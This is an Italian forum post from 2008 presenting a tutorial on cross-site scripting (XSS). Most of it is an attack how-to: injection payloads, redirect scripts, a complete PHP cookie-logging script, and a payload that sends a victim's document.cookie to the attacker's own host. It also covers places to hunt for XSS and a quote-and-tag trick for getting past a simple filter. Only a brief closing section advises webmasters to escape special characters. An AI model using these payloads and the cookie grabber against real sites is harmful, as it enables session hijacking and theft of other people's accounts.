Guida XSS

« Older   Newer »
  Share  
view post Posted on 20/5/2008, 20:51
Avatar

Cracker

Group:
Grapher
Posts:
9,454

Status:


1. Cos'è un xss?
2. Iniezione di codice
3. Sfruttare un xss
4. Cookie Stealing
5. Trovare un xss
6. Aggirare fix di un xss
7. Consigli per web master




1. Cos'è un xss?

Il cross site scripting (xss) è un attacco che rientra nella categoria "code injection", ovvero "iniezione di codice". Spieghiamoci meglio...Cosa si intende per iniezione di codice? è soprattutto, che tipo di codice?? Innanzitutto partiamo col precisare che non esiste una piattaforma vulnerabile ed una non vulnerabile in generale a questo tipo di attacco. L'attacco puo' essere quindi attuato su un sito web dinamico come lo puo' essere su uno non dinamico. Detto questo, chiariamo il concetto di "iniezione di codice"...

2. Iniezione di codice

Per iniezione di codice, in generale, si intende l'inserimento di uno script che venga eseguito direttamente nel nostro browser, all'interno del sito a cui sferriamo l'attacco; questa iniezione puo' essere praticata in vari modi, che in seguito analizzeremo più dettagliatamente. Vediamo ora un esempio di iniezione. Qui sotto è un esempio banale di codice di una pagina html vulnerabile a questo tipo di attacco.

-------------------------------------------------
<html>
<head>
<title>Pagina Vulnerabile a xss</title>

<script type="text/javascript">
function asd() {
var lol=prompt("Ciao, inserisci il tuo nome");

return asd;

</script>

</head>

<body>
<script type="text/javascript">
lol2=asd();

document.write("Ciao ",lol2);

</script>

</body>
</html>
--------------------------------------------------

Ok, il compito dello script presente in questa pagina è semplice, presenterà un messaggio di benvenuto rivolto al nick che andremo ad inserire nel prompt. Se ad esempio inserissimo nel prompt la parola "clodoveo" il sorgente della pagina che andremo a visualizzare sarebbe questo:

document.write("Ciao ", "clodoveo");

e il risultato sarebbe una pagina in cui compare la scritta "ciao clodoveo". ok, fin qui tutto normale...ma cosa succederebbe se facessimo assumere alla variabile (in questo caso lol2 ovvero asd) il seguente valore:

<script>alert("Hello World")</script>

Semplice, il risultato sarebbe la comparsa di quella stringa nel sorgente del sito; essendo però la suddetta riconosciuta come uno script di alert, il sito eseguirà lo script e il risultato sarà la comparsa di un'alert con scritto "Hello World" (w la fantasia =P). Bhe, fin qui è tutto molto semplice e, apparentemente anche molto inutile...ma vediamo, cos'altro è possibile combinare sfruttando questa vulnerabilità?

3. Sfruttare un xss

Bella! ihih...se state leggendo qui vuol dire che ormai avete capito bene o male cos'è un xss, ma vi state chiedendo cosa potete farvene...se invece avete iniziato a leggere da qui perchè volete la pratica senza teoria siete semplicemente dei poveri pirla...senza offesa eh! :D
Torniamo a noi...abbiamo visto come sia possibile far comparire un alert in un sito vulnerabile a cross site scripting...bhe, per chi conosce bene il linguaggio javascript questa parte è abbastanza inutile perchè potrà sbizzarrirsi un po' come vuole, ma per gli altri puo' essere utile. Prima una breve definizione di javascript: innanzitutto il javascript NON è il java...XD il javascript è un linguaggio di scripting che viene eseguito direttamente dal nostro browser...o meglio, lo script viene inviato dal sito web in questione ed il nostro browser lo esegue (client-side). Ok, ora che sappiamo ciò, vediamo un altro tipo di script possiamo utilizzare in questo attacco.

<script>location.href="www.sito.com"</script>
<script>window.location("www.sito.com")</script>
<script>document.location="www.sito.com"</script>

Ecco 3 esempio di script tramite i quali al caricamento della pagina, subiremo un redirect a "www.sito.com"...fin qui niente...ma pensate se il redirect indirizzasse la vittima ad un cookie grabber...potremmo ottenere i suoi dati d'accesso a quel sito...questo tipo di attacco tramite xss viene chiamato cookie stealing (furto di cookie), ora vedremo come attuarlo...

4. Cookie stealing

Per effettuare questo attacco è necessario sapere che, nel java script, è presente una proprietà (document.cookie), che restituisce i nostri cookie. Ad esempio, inserendo nel sito buggato <script>alert(document.cookie)</script> vedremmo un alert con i nostri cookie di quel sito...Come possiamo sfruttarla per effettuare un attacco cookie stealing? Semplice, ma ci servirà una conoscenza basilare del php...il php è un linguaggio dinamico interpretato; al contrario del javascript, in esso, è il server ad eseguire i comandi e non il nostro browser (server-side). Vediamo ora un esempio di pagina in php con la funzione di loggare i cookie del visitatore.

--------------------------------------------------------------
<?php
$filename = "cookie.txt";
if (isset($_GET["cookie"]))
{
if (!$handle = fopen($filename, 'a'))
{
echo "Errore: impossibile scrivere il file";
exit;
}
else
{
if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE)
{
echo "Errore durante la scrittura";
exit;
}
}
echo "Scrittura effettuata con successo =D";
fclose($handle);
exit;
}
echo "Niente da scrivere";
exit;
?> //PS. mi scuso con l'autore dello script se non cito la
fonte ma non ricordo proprio dove l'ho preso :S
-----------------------------------------------------------------

Bene, mettendo caso che questo file si chiami log.php redirettando un utente su 'www.nostrosito.com/log.php?cookie='+escape(document.cookie) si creerebbe http://www.nostrosito.com/cookie.txt contenente i cookie della nostra vittima del sito da cui sfruttiamo l'xss.
Si ok...ora sappiamo cos'è un xss e come utilizzarlo per un attacco cookie stealing...ma come si fa a trovare un xss? Scopriamolo insieme ;)

5. Trovare un xss

Dove è possibile trovare un xss? come si fa? Bhe, per cercare un xss bisogna innanzitutto guardare il sorgente della pagina...quindi bisogna avere almeno una conoscenza base dei linguaggi di programmazione web; partiamo con le xss da form...
Quante volte vi è capitato di vedere un sito con un motore di ricerca interno? Tante suppongo no? Bene, ma vi siete mai chiesti come funziona questo motore di ricerca? Se ad esempio noi cerchiamo la parola 'ciao' e, al termine della ricerca visualizziamo la scritta 'Nessun risultato per la parola ciao' non ci viene in mente qualcosa? già, e se la pagina dovesse scrivere 'nessun risultato per la parola <script>alert("ciao")</script>'? esatto, lo script verrebbe eseguito e noi visualizzeremmo l'alert (lol) Ma se un sito non ha il motore di ricerca? Guardiamo le seguenti righe di codice php...

$a = $_GET['commento'];
echo "$a";

Mettiamo che rappresentino un ipotetico guestbook dove l'utente è invitato ad inserire un commento...se l'utente scrivesse 'Hello world' l'url sarebbe 'www.sito.com/pagina.php?commento=Hello%20World' e, nella pagina, verrebbe visualizzata la scritta 'Hello World'. al solito...se il commento fosse <script>alert("Hello World")</script>? ci siamo capiti...Altro esempio...Su un sito visualizziamo un messaggio d'errore...diamo uno sguardo all'url; se fosse http://www.sito.com/pagina.estensione?variabile=errore potremmo benissimo farlo diventare http://www.sito.com/pagina.estenzione?vari...ert("Hello World")</script> . Oppure se in un form di registrazione vedessimo che, una volta inseriti nick e password, l'url del sito diventasse http://www.sito.com/pagina.estensione?v ... &nostrapwd bhe, il discorso è sempre lo stesso ;) ok, fin qui ci siamo...vediamo adesso qualche esempio un po' diverso...prendiamo un forum...ci registriamo e abbiamo il nostro piccolo pannello di controllo per la gestione del nostro profilo...possiamo ad esempio caricare un avatar nel sito dal nostro pc...bello! e se il nostro avatar contenesse del javascript? eheh...proviamo; apriamo un editor di testo, inseriamo del javascript e salviamo con estensione immagine (.gif .jpg .png fate un po' voi...XD) c'è una buona probabilità che andando a visualizzare la nostra immagine venga eseguito il nostro codice javascript. ovviamente questo vale anche per la firma o per qualsiasi sito che consenta l'upload di files. Abbiamo visto diversi esempi, ma non siate limitati a questi, quando cercate un xss usate un po' di immaginazione e guardate sempre attentamente il sorgente perchè potrebbe essere ovunque, questi sono solo gli esempi più comuni! Ma...starete pensando che non ci vuole un genio a fixare questi bug...ma vediamo un po' quali metodi ci sono e come possiamo aggirarli...

6. Aggirare il fix di un xss

Anche qui ci vuole un po' di fantasia...uno dei metodi utilizzati, forse perchè molto semplice e abbastanza efficace in quanto puo' scoraggiare facilmente un attacker meno perseverante, è quello di inserire tag html che comprendano la parola inserita...se ad esempio in un motore di ricerca venisse usato un input rappresentante la parola da noi cercata essa farebbe parte di questo codice e, anche inserendo lo script, non verrebbe eseguito. Ad esempio una pagina così strutturata:

<input name="parola_da_cercare" type="text" class="campi_input" value="tuaparola">

Dove "tuaparola" rappresenta la parola che abbiamo cercato, vedremo che pur inserendo del javascript esso farà comunque parte della value...mhmh...e se noi chiudessimo il tag in modo da portare il nostro testo fuori dalla value? esempio:

"/><script>alert("Hello World")</script>

Così il nostro script verrà eseguito...ma cerchiamo di capire perchè. il codice della ricerca termina con value=" ed aspetta l'inserimento della nostra parola per diventare value="nostraparola"...ok, noi mettiamo " all'inizio in modo da far chiudere il value trasformandolo in value=""...ok... e il '/>' a che serve? Analizziamo meglio il codice...viene aperto il tag <input name= ecc ecc...ma noi vogliamo che la parola che andremo ad inserire non faccia parte di questo tag giusto? quindi chiudiamo il tag...> ha la funzione di chiudere <input ecc ecc...ok, ho riportato questo esempio ma penso che il concetto sia chiaro no? bisogna sempre controllare il sorgente! Quest'esempio vale ovviamente per qualsiasi tag che comprenda la nostra parola ;)

7. Consigli per i web master

Per evitare di essere affetti da xss è sconsigliato adottare metodi di protezione come quello riportanto in precedenza...è consigliabile applicare restrizioni sui caratteri speciali (come ad esempio "<" o ">") che possano costituire codice (info su http://www.php.net/htmlentities) o fare in modo che essi vengano sostituiti con dei codici da noi stabiliti (http://it.wikipedia.org/wiki/Espressione_regolare). That's All :D

Greetz to:

Digital Fuckers Team - http://www.digitalfuckers.altervista.org

Hawk Force - http://www.hawkforce.altervista.org

DBSecurity - http://www.dbsecurity.altervista.org

Wikipedia - http://www.wikipedia.org

Google - http://www.google.com

Notepad++ - http://notepad-plus.sourceforge.net


questa guida e stata creata raccogliendo varie informazioni

Fonte: http://hackingstyle.forumcommunity.net/?t=11040577
 
Top
0 replies since 20/5/2008, 20:51   146 views
  Share